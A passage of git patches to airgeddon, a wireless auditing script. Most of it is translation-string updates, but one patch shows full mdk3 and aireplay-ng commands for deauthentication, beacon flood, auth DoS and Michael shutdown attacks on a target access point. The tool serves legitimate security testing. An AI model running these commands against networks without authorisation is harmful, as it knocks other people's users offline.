arr["RUSSIAN",513]="${pending_of_translation} Интерфейс будет пытаться автоматически переключиться в режим мониторинга" + arr["GREEK",513]="${pending_of_translation} Η διασύνδεση θα δοκιμαστεί να αλλάξει αυτόματα στη λειτουργία παρακολούθησης" + arr["ITALIAN",513]="${pending_of_translation} Cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" + arr["POLISH",513]="${pending_of_translation} Spowoduje to automatyczną zmianę interfejsu w tryb monitorowania" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 6da1aadd30cf8d24dc481f7dcee0c30b81aa0efb Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 9 Nov 2017 23:09:26 +0100 Subject: [PATCH 47/70] Tested compatibility with Parrot 3.9 and BlackArch 2017.08.30 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a374dee1f..ab25f7153 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ - Fixed error message on offline Arcadyan PIN algorithm calculation - Polish language translation added (Thank you to "dodg3rmaq") - Added "DoS pursuit mode" on DoS attacks (including DoS used on Evil Twin attacks) to avoid AP channel hopping + - Tested compatibility with Parrot 3.9 and BlackArch 2017.08.30 ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 From 5616e753211f5623d3b15615acf7a3d8d2b77e1c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 10 Nov 2017 07:38:08 +0100 Subject: [PATCH 48/70] Added tag window title on DoS pursuit mode attacks --- airgeddon.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index af7f86dcf..dfdf82c4e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171108 +#Date.........: 20171110 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -2849,57 +2849,57 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 dos_delay=3 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk3 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; "Mdk3") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk3 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" iwconfig "${interface_pursuit_mode_deauth}" channel "${channel}" > /dev/null 2>&1 dos_delay=3 - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "Wds Confusion") dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk3 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac From 2c1e70dc5fa99f00492bf7edd46aaa5ac6eb01e9 Mon Sep 17 00:00:00 2001 From: cLn73 Date: Fri, 10 Nov 2017 20:37:48 +0100 Subject: [PATCH 49/70] Updated Catalan Translations --- language_strings.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 0f99b2648..9c1131b70 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5523,7 +5523,7 @@ function language_strings() { arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? ${blue_color}This will launch again the attack if target AP change its channel countering \"channel hopping\" ${normal_color}${visual_choice}" arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? ${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" ${normal_color}${visual_choice}" arr["FRENCH",505]="${pending_of_translation} Voulez-vous activer le \"mode de poursuite DoS\"? ${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" ${normal_color}${visual_choice}" - arr["CATALAN",505]="${pending_of_translation} ¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" + arr["CATALAN",505]="¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? ${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" ${normal_color}${visual_choice}" arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" arr["GREEK",505]="${pending_of_translation} Θέλετε να ενεργοποιήσετε την \"DoS λειτουργία αναζήτησης\"; ${blue_color}Αυτό θα ξεκινήσει και πάλι την επίθεση, εάν το AP στοχεύσει στην αλλαγή του καναλιού του \"channel hopping\" ${normal_color}${visual_choice}" @@ -5533,7 +5533,7 @@ function language_strings() { arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" - arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" + arr["CATALAN",506]="L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="${pending_of_translation} DoS-атака с включенным \"режим преследования DoS\" включена, когда вы нажмете [Enter] в этом окне. Чтобы остановить его, вы должны нажать [Ctrl+C] или закрыть окно атаки" arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" @@ -5543,7 +5543,7 @@ function language_strings() { arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel ${normal_color}${channel}" arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal ${normal_color}${channel}" arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" - arr["CATALAN",507]="${pending_of_translation} Canvi de canal detectat. Rellançant de nou atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" + arr["CATALAN",507]="Canvi de canal detectat. Rellançant de nou l'atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="${pending_of_translation} Обнаружено изменение канала. Повторная перезагрузка DoS-атаки в режиме \"режим преследования DoS\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" @@ -5553,7 +5553,7 @@ function language_strings() { arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" - arr["CATALAN",508]="${pending_of_translation} \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" + arr["CATALAN",508]="El \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="${pending_of_translation} \"режим преследования DoS\" может быть нестабильной для такого DoS-атаки. Если вы не получаете оптимальный результат, просто выберите другой тип атаки" arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" @@ -5563,7 +5563,7 @@ function language_strings() { arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" - arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" + arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi adicional no modo monitor para executá-lo" arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, потребуется еще один дополнительный интерфейс wifi в режиме монитора, чтобы выполнить его" arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" @@ -5573,7 +5573,7 @@ function language_strings() { arr["ENGLISH",510]="On this screen, it's supposed an additional wifi interface is chosen, but you don't have anyone at this moment" arr["SPANISH",510]="En esta pantalla, se supone que deberías elegir otro interfaz wifi adicional, pero no dispones de ninguno en este momento" arr["FRENCH",510]="${pending_of_translation} Sur cet écran, vous êtes supposé choisir une autre interface wifi supplémentaire, mais vous n'en avez pas en ce moment" - arr["CATALAN",510]="${pending_of_translation} En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" + arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" arr["PORTUGUESE",510]="${pending_of_translation} Nesta tela, é suposto escolher outra interface wifi adicional, mas você não possui nenhuma neste momento" arr["RUSSIAN",510]="${pending_of_translation} На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет никого" arr["GREEK",510]="${pending_of_translation} Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε κανέναν αυτήν τη στιγμή" @@ -5583,7 +5583,7 @@ function language_strings() { arr["ENGLISH",511]="Select another wireless interface :" arr["SPANISH",511]="Selecciona otra interfaz inalámbrica :" arr["FRENCH",511]="${pending_of_translation} Sélectionnez une autre interface sans fil :" - arr["CATALAN",511]="${pending_of_translation} Selecciona una altra interfície sense fils :" + arr["CATALAN",511]="Selecciona un altra interfície sense fils :" arr["PORTUGUESE",511]="${pending_of_translation} Selecione outra interface sem fio :" arr["RUSSIAN",511]="${pending_of_translation} Выберите другой беспроводной интерфейс :" arr["GREEK",511]="${pending_of_translation} Επιλέξτε άλλη ασύρματη διεπαφή :" @@ -5593,7 +5593,7 @@ function language_strings() { arr["ENGLISH",512]="\"DoS pursuit mode\" interface: ${pink_color}${secondary_wifi_interface}${normal_color}" arr["SPANISH",512]="Interfaz para \"modo persecución DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["FRENCH",512]="${pending_of_translation} Interface pour \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["CATALAN",512]="${pending_of_translation} Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["CATALAN",512]="Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["PORTUGUESE",512]="${pending_of_translation} Interface para \"modo de perseguição do DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["RUSSIAN",512]="${pending_of_translation} Интерфейс для \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["GREEK",512]="${pending_of_translation} διεπαφή για \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5603,7 +5603,7 @@ function language_strings() { arr["ENGLISH",513]="Interface will be tried to be changed to monitor mode automatically" arr["SPANISH",513]="Se intentará cambiar la interfaz a modo monitor automáticamente" arr["FRENCH",513]="${pending_of_translation} Il va essayer de changer l'interface pour mode moniteur automatiquement" - arr["CATALAN",513]="${pending_of_translation} S'intentarà canviar la interfície a mode monitor automàticament" + arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" arr["PORTUGUESE",513]="${pending_of_translation} Ele tentará mudar a interface para monitorar o modo automaticamente" arr["RUSSIAN",513]="${pending_of_translation} Интерфейс будет пытаться автоматически переключиться в режим мониторинга" arr["GREEK",513]="${pending_of_translation} Η διασύνδεση θα δοκιμαστεί να αλλάξει αυτόματα στη λειτουργία παρακολούθησης" From e1986c749183bdc645fd502b237d8b67b748a506 Mon Sep 17 00:00:00 2001 From: Luan Date: Sat, 11 Nov 2017 03:23:54 -0200 Subject: [PATCH 50/70] update portuguese translation --- language_strings.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 9c1131b70..37f7c2b40 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1044,7 +1044,7 @@ function language_strings() { arr["SPANISH",57]="Idioma cambiado a Polaco" arr["FRENCH",57]="${pending_of_translation} Le script sera maintenant en Polonais" arr["CATALAN",57]="${pending_of_translation} Idioma canviat a Polonès" - arr["PORTUGUESE",57]="${pending_of_translation} Idioma alterado para Polonês" + arr["PORTUGUESE",57]="Idioma alterado para Polonês" arr["RUSSIAN",57]="${pending_of_translation} Язык изменён на Полировать" arr["GREEK",57]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" arr["ITALIAN",57]="${pending_of_translation} Lingua cambiata in Polacco" @@ -1054,7 +1054,7 @@ function language_strings() { arr["SPANISH",58]="9. Polaco" arr["FRENCH",58]="${pending_of_translation} 9. Polonais" arr["CATALAN",58]="${pending_of_translation} 9. Polonès" - arr["PORTUGUESE",58]="${pending_of_translation} 9. Polonês" + arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="${pending_of_translation} 9. Πολωνικά" arr["GREEK",58]="${pending_of_translation} 9. Ιταλικά" arr["ITALIAN",58]="${pending_of_translation} 9. Polacco" @@ -3274,7 +3274,7 @@ function language_strings() { arr["SPANISH",280]="En esta pantalla, se supone que deberías elegir otro interfaz adicional para proporcionar acceso a internet, pero no dispones de ninguno en este momento" arr["FRENCH",280]="Sur cet écran vous êtes censé choisir une interface supplémentaire connectée à internet mais vous n'en avez pas en ce moment" arr["CATALAN",280]="En aquesta pantalla, se suposa que hauries de triar un altre interfície addicional per a proporcionar accés a internet, però no disposes de cap en aquest moment" - arr["PORTUGUESE",280]="Nesta tela, você deveria escolher uma interface adicional para fornecer acesso à internet, mas você não tem nenhuma neste momento" + arr["PORTUGUESE",280]="Nesta tela você deveria escolher uma interface adicional para fornecer acesso à internet, mas você não tem nenhuma neste momento" arr["RUSSIAN",280]="На этом экране предполагается, что выбран дополнительный интерфейс для предоставления Интернет доступа, но у вас его на текущий момент нет" arr["GREEK",280]="Σε αυτή την οθόνη, υποτίθεται πως επιλέγεται μία επιπρόσθετη διεπαφή που παρέχει πρόσβαση στο διαδίκτυο, αλλά δεν έχετε κανέναν αυτή τη στιγμή" arr["ITALIAN",280]="In questa schermata, si suppone che devi scegliere un'interfaccia aggiuntiva per fornire l'accesso a internet, peró in questo momento non ne hai nessuna" @@ -5244,7 +5244,7 @@ function language_strings() { arr["SPANISH",477]="Las opciones de este menú que contienen la palabra \"permanentemente\", modifican airgeddon para que incluso la siguiente vez que sea iniciado siga guardando la configuración. No obstante, siempre puedes volver a este menú a cambiar de nuevo el valor de la opción" arr["FRENCH",477]="Les options contenant le mot \"permanente\" modifiént airgeddon de sorte que les paramétrages persisteront lors des prochains redémarrages. Vous pourrez cependant toujours modifier la configuration permanante depuis ce même menu" arr["CATALAN",477]="Les opcions d'aquest menú que contenen la paraula \"permanentment\", modifiquen airgeddon perquè fins i tot la següent vegada que sigui iniciat segueixi guardant la configuració. No obstant això, sempre pots tornar a aquest menú a canviar de nou el valor de l'opció" - arr["PORTUGUESE",477]="As opções neste menu contendo a palavra \"permanentemente\" serão modificadas de modo que mesmo no próximo inicio do airgeddon as configuração serão mantidas. No entanto, você pode sempre voltar a este menu e alterar as opções" + arr["PORTUGUESE",477]="As opções neste menu contendo a palavra \"permanentemente\" serão modificadas de modo que mesmo no próximo início do airgeddon as configurações serão mantidas. No entanto, você pode sempre voltar a este menu e alterar as opções" arr["RUSSIAN",477]="Опции в этом меню, содержащие слово \"постоянное\", сохраняются в airgeddon при перезапусках программы. Однако вы всегда можете вернуться в это меню, чтобы снова изменить значение параметра" arr["GREEK",477]="Οι επιλογές σε αυτό το μενού που περιέχουν τη λέξη \"μόνιμα\" τροποποιούν το airgeddon ώστε να αποθηκεύει τις ρυθμίσεις για την επόμενη φορά. Ωστόσο, μπορείτε πάντα να επιστρέψετε σε αυτό το μενού για να αλλάξετε ξανά την τιμή της επιλογής" arr["ITALIAN",477]="Le opzioni di questo menú che contengono la parola \"permanentemente\" modificano airgeddon in modo che anche la volta successiva che viene avviato continui con la configurazione salvata. Tuttavia, si può sempre tornare a questo menú per cambiare di nuovo il valore dell'opzione" @@ -5564,7 +5564,7 @@ function language_strings() { arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" - arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi adicional no modo monitor para executá-lo" + arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, потребуется еще один дополнительный интерфейс wifi в режиме монитора, чтобы выполнить его" arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" @@ -5574,7 +5574,7 @@ function language_strings() { arr["SPANISH",510]="En esta pantalla, se supone que deberías elegir otro interfaz wifi adicional, pero no dispones de ninguno en este momento" arr["FRENCH",510]="${pending_of_translation} Sur cet écran, vous êtes supposé choisir une autre interface wifi supplémentaire, mais vous n'en avez pas en ce moment" arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" - arr["PORTUGUESE",510]="${pending_of_translation} Nesta tela, é suposto escolher outra interface wifi adicional, mas você não possui nenhuma neste momento" + arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" arr["RUSSIAN",510]="${pending_of_translation} На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет никого" arr["GREEK",510]="${pending_of_translation} Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε κανέναν αυτήν τη στιγμή" arr["ITALIAN",510]="${pending_of_translation} In questa schermata, dovresti scegliere un'altra interfaccia wifi aggiuntiva, ma in questo momento non ne hai" @@ -5584,7 +5584,7 @@ function language_strings() { arr["SPANISH",511]="Selecciona otra interfaz inalámbrica :" arr["FRENCH",511]="${pending_of_translation} Sélectionnez une autre interface sans fil :" arr["CATALAN",511]="Selecciona un altra interfície sense fils :" - arr["PORTUGUESE",511]="${pending_of_translation} Selecione outra interface sem fio :" + arr["PORTUGUESE",511]="Selecione outra interface sem fio :" arr["RUSSIAN",511]="${pending_of_translation} Выберите другой беспроводной интерфейс :" arr["GREEK",511]="${pending_of_translation} Επιλέξτε άλλη ασύρματη διεπαφή :" arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" @@ -5594,7 +5594,7 @@ function language_strings() { arr["SPANISH",512]="Interfaz para \"modo persecución DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["FRENCH",512]="${pending_of_translation} Interface pour \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["CATALAN",512]="Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["PORTUGUESE",512]="${pending_of_translation} Interface para \"modo de perseguição do DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["PORTUGUESE",512]="Interface para o ataque DoS em \"modo de perseguição\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["RUSSIAN",512]="${pending_of_translation} Интерфейс для \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["GREEK",512]="${pending_of_translation} διεπαφή για \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5604,7 +5604,7 @@ function language_strings() { arr["SPANISH",513]="Se intentará cambiar la interfaz a modo monitor automáticamente" arr["FRENCH",513]="${pending_of_translation} Il va essayer de changer l'interface pour mode moniteur automatiquement" arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" - arr["PORTUGUESE",513]="${pending_of_translation} Ele tentará mudar a interface para monitorar o modo automaticamente" + arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" arr["RUSSIAN",513]="${pending_of_translation} Интерфейс будет пытаться автоматически переключиться в режим мониторинга" arr["GREEK",513]="${pending_of_translation} Η διασύνδεση θα δοκιμαστεί να αλλάξει αυτόματα στη λειτουργία παρακολούθησης" arr["ITALIAN",513]="${pending_of_translation} Cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" From 894f35ba4d0188549a811e4890680a2345227249 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 11 Nov 2017 06:42:12 -0500 Subject: [PATCH 51/70] Updating Russian translation --- language_strings.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 37f7c2b40..89cc03bba 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1045,7 +1045,7 @@ function language_strings() { arr["FRENCH",57]="${pending_of_translation} Le script sera maintenant en Polonais" arr["CATALAN",57]="${pending_of_translation} Idioma canviat a Polonès" arr["PORTUGUESE",57]="Idioma alterado para Polonês" - arr["RUSSIAN",57]="${pending_of_translation} Язык изменён на Полировать" + arr["RUSSIAN",57]="Язык изменён на польский" arr["GREEK",57]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" arr["ITALIAN",57]="${pending_of_translation} Lingua cambiata in Polacco" arr["POLISH",57]="${pending_of_translation} Język zmienił się na 